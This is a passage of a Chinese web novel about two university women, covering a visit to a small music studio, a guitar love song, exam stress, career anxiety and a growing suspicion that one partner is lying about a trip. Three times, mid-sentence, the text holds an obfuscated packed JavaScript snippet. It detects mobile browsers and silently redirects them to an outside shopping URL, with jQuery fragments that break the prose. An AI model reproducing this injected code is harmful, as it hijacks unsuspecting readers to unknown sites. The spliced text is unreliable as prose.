或许是觉得性向这种事还是不便于曝光在大庭广众之下,也不愿意成为别人的饭后闲谈,黎羽最后没有选择硬刚,而是减少了回宿舍的频率,眼不见心不烦。 但那些谣言,多少是流传出去了。 黎羽养病这几天,秦离又撞见过一次两个奇葩回来,一贯的阴阳怪气,特别是看见秦离和黎羽关系亲密,嘲讽程度更甚。 秦离心中有火,忍不了半点,当场就和她们吵了起来。但她并不擅长骂人,反气得自己喉咙哽咽,强忍住没掉眼泪。 见状,对方气焰更甚。 黎羽本来不想理会这两个奇葩,但见秦离被欺负,脸一下就冷下来了,话说得很重,气势吓人。 大概是没见过黎羽认真起来和她们对峙的样子,两个奇葩被吓到,嘟嘟囔囔着跑了。 纷争消失,黎羽一转头,就看见秦离对着她星星眼中,半点眼泪也没有了。 “阿羽,你好帅啊~”秦离就喜欢她这副超凶的样子,“哼,对付坏人就该不留余地,不能忍让,给她们好脸色!” 黎羽哭笑不得。 这算是什么坏人了,不过是些不安分的小人。 不过闹了这么一番后,黎羽的病倒是很快好了。 病好的第二天,黎羽要到公司去,秦离与她一起。两人坐地铁,穿过繁华的市区,到了东部新区。下地铁后黎羽打了个车,又开了几公里,到了一栋破旧的写字楼前。 欸……? 秦离很意外。她以为的公司就像电视里演的那样,再不济也跟来学校宣传的相同,有着亮堂的办公室,里面的人端着咖啡,踩着高跟鞋进出,光鲜亮丽。 而不是像这栋楼这样,灰扑扑的,电梯上下也哐哐直响。 黎羽看出她心中所想,直言:“是不是跟你想的不同?” 秦离不会说谎,支支吾吾:“是……比较朴素啦。不过外表不重要,实力比较重要。” “我们目前没什么钱,大部分都花在设备上了。还是因为要跟客户谈生意,才租在这里,”黎羽没有为公司的贫穷掩饰,开玩笑着,“不然,像某些网络小说公司那样,干脆租在居民区里更省。” “啊,是这样呢,哈哈。” 现实跟想象真的有差距。自己以为很厉害的人,原来放到现实社会里,好像也会显得窘迫。 秦离第一次有了这样的体会。 37. Chapter 37 公司在二十三楼的尽头,进去有两层,很多工作室,大多放着录音和作曲设备。空间很紧凑,但装饰得很好,有艺术气息,又很温馨。 黎羽见到了其中一个合伙人,是个年龄大上几岁,看上去很和气的女性,身上有很浓厚的社会人气质,黎羽喊她董老师。 一楼中央摆着待客的沙发,董老师给她们泡了壶红茶,招呼着:“欢迎过来参观啊。今天有个活动,大部分人都去那边了,没什么人,不然可以带你看看我们平时的工作现场。” “谢谢董老师,没关系,我就是跟着阿羽来随便看看。” 秦离坐得端正,说话也很拘谨。面对社会人,她总是有点发怵。 董老师也看出来了,找了个工作借口上楼去了,把空间留给她和黎羽。 人一走,秦离松了口气,摊在沙发上。她变化明显,黎羽见了笑出声:“怎么这么紧张?” “她虽然对我挺客气,但气场怪吓人的,总觉得不太自在。” 黎羽解释:“董老师毕竟工作好几年了,平时对公业务也主要是她在谈,我还在跟着她学习。” 秦离不禁感慨:“真厉害啊。不过跟我想象中做音乐的人不太一样,我还以为都是那种放荡不羁的潮人呢。” “我和董老师都是负责商务以及沟通协调的,要说做音乐本身,还是有老师跟你想的差不多。特别是我们有个吉他老师,随时都穿得很……很有风格,耳朵、鼻子、嘴上都打了洞,还染了全黑的指甲,说是很适合表演。” 看得出来,黎羽不太欣赏得来这种,只能说尊重。 “不过那个老师很厉害,据说是全国都数一数二的吉他手,是董老师的好友。” 黎羽给秦离看了段现场视频。秦离虽然不太会吉他,但是音乐鉴赏能力有,听着觉得真的很厉害。 秦离又看了工作室其他老师的作品,感慨似乎都很厉害啊,同时对她们的事业又多了分信心。 整个公司静悄悄的,秦离瞄到角落里放了一把吉他,突然好奇:“阿羽,你会弹吉他吗?” 黎羽犹豫了下,然后摇头道:“不太会。” 反正这里现在没有其他人在,秦离抱着一点点卖弄的心情,问道:“我能用那把吉他吗?给你弹一段~” 黎羽点头。那把是公用吉他,大家平时都会拿过来拨弄两下。 秦离欢喜着将吉他抱过来,调了调音,是准的。她又抬头看了下楼上:“董老师不会突然听见吧?” “不会,这里每个房间都做了个隔音。” “好耶~”秦离边试音色和把位,找寻手感,边先打预防针,“我没有专门学过,肯定弹得不太好,就是高中那时候大家都流行弹吉他,就跟着练了一点。你不准笑我~” “不会。”黎羽笑着,是很温柔的笑。 她坐在秦离对面,看她用手机查了查谱,摆好架势。 “人们说,你就要离开村庄 我们将怀念你的微笑 你的眼睛比太阳更明亮 照耀在我们心上”① 是《红河谷》。 简单的和弦,秦离太久没练了,弹得不很熟练,磕磕绊绊。但她声音很好听,干净清脆。 结束后,黎羽夸她:“很好听。” “是吧!”秦离眼睛亮了,“我会的不多,还有这个~” 纯音乐的solo,是《爱的罗曼史》②。那些年《蓝色生死恋》③流行的时候,这首曲子红遍大街小巷。练吉他曲时,秦离在乐谱上第一眼看中这首。这曲子换把很多,她练了很多遍,是为数不多再拾起依旧很熟练的曲子。 忧伤的曲调响起,整个房间都显得更加寂静。 黎羽一直专注地看着她,直到这首弹完,秦离松了口气,看向她,眼神期待。 缓和的旋律仿佛仍在空气里流淌。 “小乖……” 黎羽轻唤秦离的名字,靠近她,将她轻轻搂在怀里,心脏在胸腔里安稳地跳着。 秦离温顺地用手环住她的背,侧耳倾听全世界唯一存在的声音。 咚咚——咚咚—— 秦离觉得黎羽的声音仿佛隔了层纱,朦朦胧胧的很远,连带她这个人都显得飘忽不定。 黎羽有声很轻的叹息,轻得好像是秦离的错觉。 她有些不安,将黎羽抱得更紧了,拼命呼吸她身上的味道。 “怎么了?”黎羽轻抚她的后背,声音依旧很柔和。 秦离摇摇头。 她说不上来,只是心里有莫名的恐慌,一种不安的预兆。 仿佛能感觉到她的情绪,黎羽吻了吻她的额头,柔软干燥的触感,抚平了她心中的未知焦虑。 黎羽突然道:“其实……我最近也学了首歌。” “欸?吉他吗?”秦离震惊,从她怀里出来,控诉她,“你刚刚还说你不会。” 黎羽眨眨眼:“我说的是我不太会。” “哼,跟我玩文字游戏哦。” 秦离哼哼唧唧的,黎羽安抚性地在她唇上亲了亲,然后她一下子就乖了。 黎羽拿过吉他,架势也很熟练。 "WellyoudonedonemeandyoubetIfeltit Itriedtobechillbutyou''vesohotthatImelted Ifeltrightthroughthecracks nowI''mtryingtogetback"④ ... "ButIwon''thesitatenomore,nomore Itcannotwait..."④ "I''myours..."④ 从前奏响起的瞬间,秦离的心跳就开始加快。 这是首很有名的情歌,在她高中时特别火。她看过无数的CP剪辑视频配乐是这首歌,看过有人跟喜欢的人表白时唱过,从未想过……自己也能听到…… 黎羽打着节拍,唱得很自如。她边弹唱着边看着秦离,眼神柔和,嘴角挂着隐约的笑。 秦离不由得开始脸红,只觉得自己又又又又一次深深地喜欢上了黎羽。 “阿羽……” 黎羽唱完后,秦离蹭了过去,黏黏糊糊的,向她索吻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370167|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎羽将吉他放在一边,搂着秦离的腰,接受她大胆热情的吻。两人的唇都变得湿润,探索对方口腔里的每一处,霸道不讲理。 突然,楼上传来了明显的咳嗽声。 秦离吓了一跳,抬头发现董老师站在楼梯间,手上拎着包。 “董老师……”黎羽有些不好意思,秦离更是脸上通红,躲在黎羽身旁。 董老师表情无奈:“我不是故意打扰你们啊,只是这会马上要去见个客户,不得不出去。” 秦离脸涨红得厉害,在后面戳着黎羽的背,示意她赶紧将人招呼走。两人活像被人逮住干了什么事。 黎羽硬撑着跟董老师说了几句话,董老师看她俩实在窘迫,也没多呆,就准备出门。 走之前,董老师像是想起什么,突然回头笑道:“黎羽,你这首歌弹得比之前练习的好多了啊。” 这下,黎羽的脸也红了,捂着脸半天没说话。 “嗯嗯嗯?”人一走,秦离那点不好意思马上就消失了,好奇道,“之前是什么样的?” “……别问了……” 这下,黎羽的脖子和耳朵都红了。 有些人,看似轻松的弹琴说爱表现背后,是无数个日夜笨拙的练习。 事实上,黎羽没有太多音乐天赋,这首歌全靠工作室老师们的指导,硬啃下来的。她觉得还没有练到最好,本想在跨年的时候再弹给秦离听,但今天或许是氛围使然,也可能是秦离的低落太明显,她便将这份礼物提前拿出来了。 其实还是有很多瑕疵,但秦离已经觉得非常完美了。 “很棒啦,我超级超级超——级喜欢!不行,刚刚居然忘记录下来了,再来一次,再来一次嘛~” 秦离像个天线宝宝似的,扭着黎羽,想听她再弹唱一次。但黎羽不肯面对镜头,最后折中下,秦离录了段声音,没有开视频。 到饭点了,黎羽带秦离去吃公司附近有家西餐厅,那里炸鸡做得很好吃。 两人边吃边聊着,自然而然就说到了秦离的近况。大三的学业确实很重,专业课的难度上去了,法学辅修的量也在增加,秦离还要抽空继续学雅思,主要是口语和写作需要专项提升。 之前她考过一次,阅读和听力都还行,口语和写作总还差点,得多刷点分心里才稳妥。 “这样啊。”黎羽放下炸鸡,喝了口水,杯子半天没放下,遮掩了她大半神情。 她的话一向不算多,秦离没有察觉端倪。 喝完水,黎羽表情如常:“下次考试是什么时候呢?” “这个月底,哎,雅思考试费也太贵了吧。” “那好好准备吧。” “好哦^0^” “嗯。” 吃完饭,黎羽接了个电话,也有事要去忙。秦离不愿意耽误她的安排,让她先去了。 难得来一趟市区,她也没有直接回去,翻了翻大眼和企鹅,摇上几个基友,去人民广场地下的二次元区畅玩了,最后踩着6号线的末班车回去。 真好啊,今天又是快乐的一天~ 秦离看着小说,在困意中心满意足入睡,就像她一直喜欢的那样。 38. Chapter 38 这之后,秦离变得前所未来的忙,和黎羽见面的机会也变少了,甚至没有精力在微信上和她闲聊。 她翘掉了辅修课,停掉了店内打工,除了不得不去的专业课,每天所有时间都花在备考上,除了上课就是刷题练习,搞得头昏脑胀。 黎羽似乎也更加忙碌,只是时不时询问她的备考进展,每次鼓励过她后,就又消失了。 秦离心中熨帖,决定等考完试跟黎羽好好出去约会玩一玩。 时间过得很快。十月底的梦城,已经带着秋天的凉意,空气变得清冷。 考场设在了S大。考试前一晚,黎羽刚熬了个大通宵后回来,虽然说着要陪秦离去考试,但秦离不舍得让她如此辛苦,早起没有叫她,而是独自出门,直到快进考场了,才给黎羽发了消息。 【我马上要考试了,早上看你太累,就没喊你。你多睡会哦,等考完回来,我们一起去吃大餐吧~[爱心][亲亲]】 对面没有回复,秦离关掉手机,将心神放在考试上。 整个考试还算挺顺畅,就是写作方面,秦离不太确定,但自我感觉应该是不错的。 回来后,她直奔黎羽的宿舍。 自从那两个奇葩不回来后,黎羽呆在宿舍的时候便多了,毕竟怎么说宿舍环境也比店里二楼来得好。就是寝室里还有陈玲嘉,两人不方便有过于亲密的举动。好的是秦离和陈玲嘉很聊得来,两人经常一起说些娱乐圈和网购的事,倒是留黎羽一个人在那边做事。 说起来,秦离想着,她和阿羽是不是已经好些天没有那什么了…… 今天要不要跟阿羽说…… 嘿嘿~ 推门进来时,黎羽正在打电话,面色不渝,好像在跟人争执。 见秦离回来,她很快结束电话,眼尾还带着刚刚跟其他人交流的躁意。 秦离本来兴高采烈的,一下被她的情绪冲击到,试探问道:“怎么了?” “没什么事,”黎羽将情绪按在心里,又恢复了平日里温和的样子,“今天考试怎么样?” 秦离闷着气,冲动道:“你总是这样,什么事都不跟我说。” 房间里气氛一下就冷下来了。 黎羽没有说话,立在原地,刚才浮在面上的温和消失了,没有表情,看不出情绪。 秦离有些后悔,又有点害怕黎羽表现出来的冷漠,也立在原地,不知道说什么。她手指抠着裤子,上齿一直磨着下唇,将它咬得殷红。 河对岸有滴滴的摩托声,两人都没有开口,僵在原地。 这时,黎羽的手机铃声又响了。她看了看号码,将电话压了,眉间的疲意更甚,揉了揉太阳穴。 冰冷的氛围被打破,秦离趁机凑过去,讨好卖乖:“最近这么辛苦吗?”她碰了碰黎羽的手臂,见她没拒绝,才大胆抱着撒娇。 刚才的话题被她打哈哈揭了过去。 “确实有很多事。” 秦离的眼神是直白不带掩饰的关心,黎羽心中一颤,将她的头按在自己怀里,轻轻抱着。秦离也顺从地环住她的腰,用她的体温缓和自己心中的难过。 好半天,黎羽才开口:“不是不跟你说,是很多事情说起来很复杂麻烦,听了也让人心烦。” 秦离的声音闷闷的:“我担心你嘛。你跟我说,我都愿意听着。就算我帮不了什么忙,听你都说一说,发泄下心中的情绪也好啊。” “……嗯,我知道了。” 敏锐察觉到黎羽的态度软化,秦离又道:“你别像刚才那样冷着脸,我……我不喜欢这样。” “……抱歉,”黎羽摸着她的头,轻轻安抚着,“下次不会了。”说着,她在秦离的额头上轻轻印下一吻,带着珍视的小心翼翼。 秦离刚刚心里闷着的那股气瞬间就消失了。 她又扬起笑容,回答黎羽之前的问题:“今天感觉还不错啦,阅读拿8分以上没问题,听力应该能有个7.5分,写作不好说,希望能上6.5吧。” “口语呢?” “口语过两天考,应该没什么问题,上次都拿了6.5分呢。” “那就好。” “那……我们去吃饭?” “好。” “好耶~^0^听我们班人说二期新开了家石锅鱼很好吃,我们去试试吧~” “好。” 这家石锅鱼果然味道很好,唯一的意外是快吃完时,石锅突然炸开了,还好黎羽反应快,拽着秦离及时躲开。 有上次的阴影在,秦离吓得不行,确认黎羽身上没有被汤泼到,只有衣角被弄脏后,对着店家大发雷霆。店家态度倒是很好,连连道歉,还免了两人的单,加上没人受伤,秦离只能作罢。 回去的路上,秦离低着头闷闷不乐。黎羽安慰她:“这家鱼确实挺好吃的,而且我们不是都没出事嘛。” 秦离情绪依旧不高:“拉入黑名单,下次再不来吃这家店了。” “行。”黎羽总是依着她。 秦离还有些说不清道不明的情绪。她想着今晚吃点好的,两人欢欢喜喜,沿着河边散步回去,接下来的发展就自然而然了。 结果,第一步就出了岔子,氛围完全被搞砸了。 回去的路上,秦离心中一直酝酿着,直到快走到侧门了,才拉了拉黎羽的手:“阿羽,我们今晚要不不回宿舍了吧。” “嗯?” “就……我们可以去小房间。刚好我最近发现了一部新的拉拉片,我们可以一起看。” “今天就……” 黎羽刚开口,瞥见秦离的眼神,带着渴望。她瞬间明白她在暗示什么。 “小乖……” “嗯?”黎羽还在想着,等会买什么样的花回去呢?最近太忙,花瓶里之前那支恐怕都已经枯死了吧。 “小乖,要不改天吧。等你考完试,我这边这两天也忙完,我们……”,看见秦离眼里期待的光消失,黎羽转了话,“我们到时候出去玩几天。” 听了前半段话,秦离本来很低落,听到最后眼睛一下就亮了:“一起出去旅游吗?好呀,那我们去临城吧。来梦城好几年了,我还没去过临城呢。听说那边交通秩序是全国最好的,车辆全部会礼让行人,闭着眼睛随便走路都行呢。” “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370168|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就去临城。”黎羽笑着应下。 其实,秦离还有点小心思。 黎羽的生日也快到了,最好就在那几天出去玩,两人可以好好庆祝一番。 她们要去白桥上看风景,去塘湖划船,去拨莲子,尝尝塘湖醋鱼,然后,她们要去放烟花,在黑暗里亲吻,然后在夜晚,疯狂地…… 啊……可惜那时候才11月,要是能下雪就好了。 对了,还有礼物。她早想好了,要给黎羽织条围巾。刚好梦城,特别是云林冬天风大,戴着刚好。她之前偷偷和陈玲嘉商量过,还一起去店里选了毛线,最后决定织一条深紫色的渐变围巾。 哎,阿羽的衣服颜色都太素了,这种毛线颜色比较特别,也不是很亮,她觉得很合适呢。 秦离脑子里闪过很多念头,越想越期待,喜滋滋的。 在她没注意的时候,黎羽没有收敛脸上的倦意。她身体显得有些沉重,左手揣进兜里,按掉一个又一个打来的电话。 口语考试当天,黎羽依旧没赶着空陪她过去。这天她起的比秦离还早,给她带了她喜欢吃的皮蛋瘦肉粥和一期正门的卷饼,匆匆出门。 秦离起晚了。 外面狂风大作,今天是个暴雨天,老天爷像拿着盆在疯狂往地上倒水。大风将雨点吹得乱飘,完美突破雨伞防线。 秦离抓着已经变凉的饼和粥,挂着大伞奔出门。 撑杆大伞险些被狂风吹翻,雨天的交通也更加堵塞,她紧赶慢赶,险险擦着截止时间赶到考场,身上都湿透了,一片狼藉。 这就像是今天不幸的开始。 分配考官后,秦离进入对应的考室,感觉到主考官目光好像扫了一遍她狼狈的装扮,接着的对话中就似乎始终有些不满。 偏偏考官不知道是哪里人,说话口音明显。有些问题听不清,秦离不得不多问一遍,大脑浑浑噩噩。最后,就连考官让她介绍一本自己喜欢的书,秦离也一时没反应过来,脑子里本能冒出了HarryPotter。 她能明显听到考官叹了口气,好像在说,怎么又是哈利波特。 完了…… 出考室后,秦离垂头丧气,知道这次的分数肯定会很低,单项分数不够,这次考试就又失败了。 她打开手机想向黎羽寻求安慰,发现对方半个小时前已经发了条消息过来。 【小乖,你应该现在还在考试。我说下,我有点急事需要出差,大概三四天就回来,现在飞机马上起飞了,等到了跟你说哦。考完你就好好休息下,肯定没问题的。】 秦离心情更糟糕了。 她烦躁地按掉手机,撑着大伞在暴雨的街道上走来走去。 不知过了多久,突然有电话来了,是郭平。 “阿离,今晚有空不,我们都好久没聚了,一起吃个饭撒。” “……不想动。” “咋个了,心情不好所,那更要来了。今天难得人齐,吃了饭我们去唱歌嘛,嗨通宵。” 郭平是个很敏锐的人,也很擅长说服人。最终,秦离决定去聚一聚。 不然一个人呆着,更难受。 39. Chapter 39 这次老乡聚会果然有很多人,一大桌子,闹哄哄的。 今天的秦离难得不想社交,坐在郭平旁边,闷着头恰饭。倒霉的是,火锅味道也不好,只能勉强入口,秦离机械式往嘴里塞着,不知不觉也吃到了十二分饱。 吃完饭一群人闹着去唱歌,秦离随波逐流。 KTV里,几个麦霸在抢话筒,不断顶歌。秦离今天没什么兴致,也懒得去争,就在角落里刷手机。 郭平坐在她那边,给她递了个果盘,问道:“阿离,咋回事哦,看你今晚都闷闷不乐的,跟你那个学姐有撒子情况蛮?” “没有,”秦离自斟自饮,干了杯啤酒,“就是雅思又没考好,烦得很。” 郭平拍了拍她的肩膀,陪她一起喝:“哎呀,莫得事,你楞个凶①,下盘一哈就考上来了。” 郭平又说了一堆安慰话。他一向是夸夸派,黎羽即使知道这点,心里还是轻松许多。 房间里鬼哭狼嚎着,两人扯着嗓子喊话,才听得清。 郭平又问她:“你最近还在玩那个撒子cos没得喃?” 秦离摇头:“没有,但年底有个大的漫展肯定要去的,就是没想好出撒子。” “还是可以。”郭平又多提醒了两句,“不过哈,你要是申请出国的话要抓紧哦,我看菲菲都已经递了好几个简历出去了,跟那边教授也在套磁,初步谈妥了。” 菲菲也是南城老乡,法语专业,关系不太熟,秦离只知道她大一大二被专业课折磨得要死不活的,每次路上遇见都是来去匆匆。 “她也要出国?”有同级的身边人作比较,秦离的焦虑感又上来了。 “对,大一就在开始准备了,刷绩点、考试啊这些不都要早点弄蛮。” 话都说到这里了,郭平也是看她迷迷糊糊的样子,有点担心:“阿离,你还是要早点下定决心到底毕业了做撒子,这个时间已经不早了哦,大家基本上都有方向了。” 秦离这才知道,原来身边人嘴上没说,实际心里都有自己的打算。打定主意毕业就工作的人,从暑假开始就找好了实习,有些甚至大二就在参加项目,等着翻过年大三下了,参加提前批校招。 郭平是高中时就想好了以后要在银行工作,原因很简单,工资高嘛。因此高考成绩出来后,他明明能已经通过自主招生,可以提前批去更好的S大,都瞒着家里人没说,以最高分进入E大,就是为了读这里最好的国际金融专业。而在S大,他只能读一个不热门的专业,不符合他的职业规划。现在他也已经在某国外银行实习了,可以说是一条路子非常清楚。 像庆姐是这边沿海人,家里本来就有经商底子,大二开始就陆陆续续做点小生意,毕业后应该也是稳妥着扩大规模。盈盈呢,瞄准了新兴的电商行业,现在也已经在实习了。还有凯文,虽然看着天天无所事事,耍得飞起,实际上别人家里老妈是国企的二把手呢,毕业后安排个合适的工作也不难。 这两年正是经济腾飞的时候,她们这拨人绝大多数都选择了直接工作,基本都已经找到入门的途径,这样看下来,倒只有秦离晃晃悠悠,什么都在做,但又似乎什么都没摸着门道。 秦离心里更烦躁了。 其实她之前隐隐约约就有点感觉,但毕业、工作、未来这些字眼让她本能恐惧,不愿去多想。家里人宠她,还停留在好好读书就行的观念上,也从不多问。知道她想要出国,妈妈早就准备好了一笔钱,等着到时候给她当学费和生活费,从没担心过她是否能顺利出国。 她就抱着过去那点不足为道的成绩和优越感,这么浑浑噩噩度过了大学两年半。 说句笑话,就算是玩cos,她也没玩出什么花样,不像圈内其他太太,努力学化妆、摄影、后期、日语、画画,很快就成为粉丝众多的大神。 秦离想了想自己到底有什么一技之长,想来想去,或许也是稍微能写点东西,就这样还三天打鱼两天晒网,没什么成果。就连那么忙碌的李清韵都签了网站,写了本小说了。 ……也不知道数据如何,有多少读者。 秦离陷入自厌中。她彻底不想搭理人了,也不想唱歌,就想赶紧回宿舍躺着看小说,麻痹自己。 就是知道多想会让自己焦虑,陷入颓废的恶性循环,秦离才总是逃避这些话题。但日子一天天过去,大学生涯越来越短,就算郭平不提,她也知道自己早晚不得不面对未来,面对现实。 郭平也看出秦离内心的纠结烦躁了。他平时很少说这种扫兴的话,但面对好友,在这种关键时期,是不得不多提一嘴了。 秦离也知道,闷闷道:“我想想吧。” “好了好了,回去再慢慢想,今天先喝酒嘛。”不想气氛太沉闷,郭平招呼着所有人,又开始碰杯欢笑着。 这次,大家没有唱通宵。秦离是没有兴致,其他人是已经疲累,没有大一大二那么能熬夜了。 回到宿舍,房间里只有陈小雨在。她刚从图书馆回来,正在洗漱。 陈小雨似乎总在看书,除了宿舍就是图书馆,什么课都会老老实实去上,连水课都不例外。她作业总是第一个完成的,像读高中一样。秦离看她桌上满满都是书,不禁问道:“小雨,你毕业后有什么打算呢?” “咦,离离你回来啦?毕业后啊,我其实,”陈小雨将洗漱杯和牙膏摆回原位,脸上有点不好意思,“你别跟别人说啊,我其实正在准备保研的事,最近刚和老师沟通了情况,应该能去到T大。” T大比E大档次要高些,能保研过去确实是好事。 “哇,还是继续读英语吗?” “嗯,保研只能保本专业。不过还没完全确定下来,你不要告诉别人哦。” “嗯嗯,我知道,恭喜你呀,真的是太棒了。” 回到自己床上,秦离才表现出点失魂落魄。 她没有嫉妒谁的意思,只是心中有些酸涩。或许她过去还是多少将陈小雨贴上了那种书呆子的标签,当发现对方在自己的轨道上行进着,拼搏着,甚至并不是她以为的那样死板时,她陷入了一种羞愧。 为自己之前那么设想过对方,又为自己这样的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370169|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事无成而感到羞愧。 她深陷泥潭,却又不知道如何改变,只能按照熟悉的方式发泄。 打开小说,直到看到眼皮打架,她才睡了。 秦离再醒来时,已经是中午了。 寝室里,李清韵回来了,正打开一盒锅贴,就着美剧准备开吃,见她醒来,问道:“要吃吗?” 肚子已经咕咕响了,秦离点头:“要。”然后从上铺下来。 锅贴是一期后门的,五块钱一份,很便宜。李清韵买了两份,刚好一人一份,一份四个。 边吃着,秦离边问:“清韵啊。” “嗯?”李清韵摇头晃脑,今晚没有事情,难得惬意。 “你想好毕业后做什么了吗?” “哎,”李清韵吃不下了,“离离啊,看剧不快乐吗,你干嘛问这么愁人的事。” 秦离嘿嘿笑着,知道李清韵跟自己一样没有清晰的职业规划,她有了找到同类的庆幸。 “那我看你天天学生会啊社团的事忙到飞起,背着电脑到处跑。” “那些都是事找上我,我也没办法啊。”李清韵摊手,“而且干啥都没意思,反正也赚不了多少钱。那些富二代,躺在家里啥也不干,每天花的钱都是我们当上班族赚的钱的不知道多少倍了。” 秦离用手肘戳戳她:“你又不是什么普通上班族,可是梦城市中心有洋楼的人!” 李清韵叹气:“就一套老破小房子,而且我家那档子事……算了,不想提。想这些还不如马上去买彩票,祈求一夜暴富,哈哈哈哈~” 秦离也哈哈笑着了:“一夜暴富!等富了我们也天天躺平,吃香喝辣。” 跟李清韵聊过天后,秦离心里轻松许多,像是又找到了避风港。 这时,李清韵打趣她道:“难得啊,今天我们离离终于开始着手规划未来了,没有说她的阿羽怎么样,怎么样了。” 阿羽…… “啊——” 秦离惨叫出声。她昨天光顾着颓废低落,什么消息都没看,连黎羽有没有发消息来都没注意。 黎羽说下飞机后会给她发消息,这都已经过去一天了! 她打开手机,在一堆红点中,果不其然看见了黎羽的消息,是昨天下午两点发过来的。 【小乖,我已经到了,你考试结束了吗?】 下一条消息是一个小时后的:【还没结束?】 后面还有几条,从下午到晚上,都是问秦离怎么了,似乎是猜中了她考砸了心情不好,最后一条是:【好好休息吧,空了给我回个消息。】 完了……完了…… 秦离大脑一片嗡鸣。她想要拨电话又不太敢,在手机上磕磕巴巴写了删,删了写,最后发过去一条。 【啊啊啊啊啊,我手机昨天路上就没电了没注意到消息啊!!!呜呜呜,我口语考得太太太差了!回来充着电就喝酒,喝了不少酒,倒头就睡,这会才醒来。你怎么样,工作还好吗,现在有没有在忙呀?】 不想给黎羽造成不好的印象,小撒谎精重出江湖。 40. Chapter 40 黎羽没有回消息。 秦离等了半个小时,又发了条讨好卖乖的消息过去,对面依旧没有反应。 这就像是昨天的场景重现,只是双方调换了。 秦离有些不安,又发了好几条过去,见黎羽仍没有回应,终于忍不住拨了电话。 第一遍…… 第二遍…… 一直没有人接,秦离心里闷憋着一股气,继续打。不知道打了多少遍,电话接通了,是个陌生女子的声音。 “你好?”声音小心翼翼的,但偏年轻。 秦离心中一紧,条件反射压掉了电话,呆在原地。 看她表情不对,李清韵问道:“怎么了?” 秦离咬着嘴唇,摇头:“……没事。” 她跑到阳台上,将门关上。 今天的天空有些昏黄,没有太阳,天空压得很低,好像整个世界都被挤压着,有些压抑。 秦离蹲坐在地上,靠在偏冷的栏杆上,再打黎羽的电话。 滴滴几声后,电话接通了,还是那个女声:“你好?” 秦离的手抖了抖,稳下声音:“你是谁?黎羽呢?” 对面说话很客气:“啊……抱歉,我看你打了太多次电话了,担心有什么急事才接的。我是她的朋友,她……她这会有点事,你这边是?找她有什么急事吗,等会我跟她说。” 秦离直觉对方在说谎,但性格使然,让她说不出过分的话。 “你们现在在哪里?”她恨不得马上坐飞机赶过去。 “啊?当然是在柳城啊。” “柳城……” 黎羽不是说她出差去了吗,怎么回柳城了。还是就那么巧,出差的地方刚好在柳城? 意识到黎羽可能对她说了谎,秦离心中一紧,将嘴唇咬得更厉害了。干燥的嘴唇上有些死皮被撕破,渗出鲜红的血珠。 察觉到秦离的语气不对,对面开始支支吾吾:“她这会确实不太方便接电话,等下她忙完,我让她给你回电话。” 秦离也不想跟她聊太多,将电话挂了。 她将头埋在膝盖里,刚刚打电话过去的勇气全部消失,脑子里全是胡思乱想。 这时,外面的天也越来越暗,不知什么时候开始淅淅沥沥下起了雨。路上很快就没人了,雨越来越大,滴答落在叶片上。宿舍阳台没有封,风刮着雨飘进来,将秦离的衣服都打湿了。 李清韵开阳台门,喊道:“离离,下雨了,你……” 她看见秦离眼睛红红的,眼眶里转着泪水。 “你怎么了,和黎羽吵架了?” “……没事。” 秦离想用手背抹掉眼泪,却越抹越多,不断擦着。 面对李清韵担忧的眼神,她坚持:“我真的没事,你让我自己呆会吧。” “……好。”李清韵虽然担心,却给她留出空间,“我下午去学校做事了,你……就在宿舍好好歇一歇吧。” “把湿掉的衣服换了,别感冒了。” 李清韵出门,秦离根本不想换衣服,直接倒在床上,用被子将自己蒙起来,隔绝所有光线。 她哭着哭着又睡着了,等再醒来时,天色已经完全暗下来了,宿舍里漆黑一片,大家都还没回来。 她摸过手机,屏幕光亮起,刺得她微眯着眼。 微信上只多了一条新消息,是黎羽发过来的。 【我看到你的消息了,但下午有点事,所以没顾得上看电话哦。】 平时不觉得,此时此刻,秦离看到屏幕上的字,总觉得冷冰冰的。 我发了那么多条消息过去,黎羽她……她就不愿意再多回我几条吗? 而且,或许是因为她自己说了谎的原因,秦离总觉得黎羽也在撒谎,还有下午那个接电话的陌生女人…… 有点事,是什么事?黎羽似乎总是喜欢这样说,有点事,有些情况…… 出差,是去哪里出差,做什么。 还有……那个陌生女人是谁? 秦离脑子里依旧有很多思绪在乱飞,搅得她头疼。 【阿羽,你这会在做什么?】 对面消息回得很快:【在酒店里。】 ……真的……在酒店吗? 秦离一瞬间甚至产生了这样的怀疑。 【那我们打视频吧,我好想你。】 对面有阵子没有回应。黑暗里,秦离的心脏有些难受。她靠着墙,将身体蜷缩成一团。 又想睡觉了……睡着了,就不会这么难受了。 又过了会,屏幕又亮了:【好。】 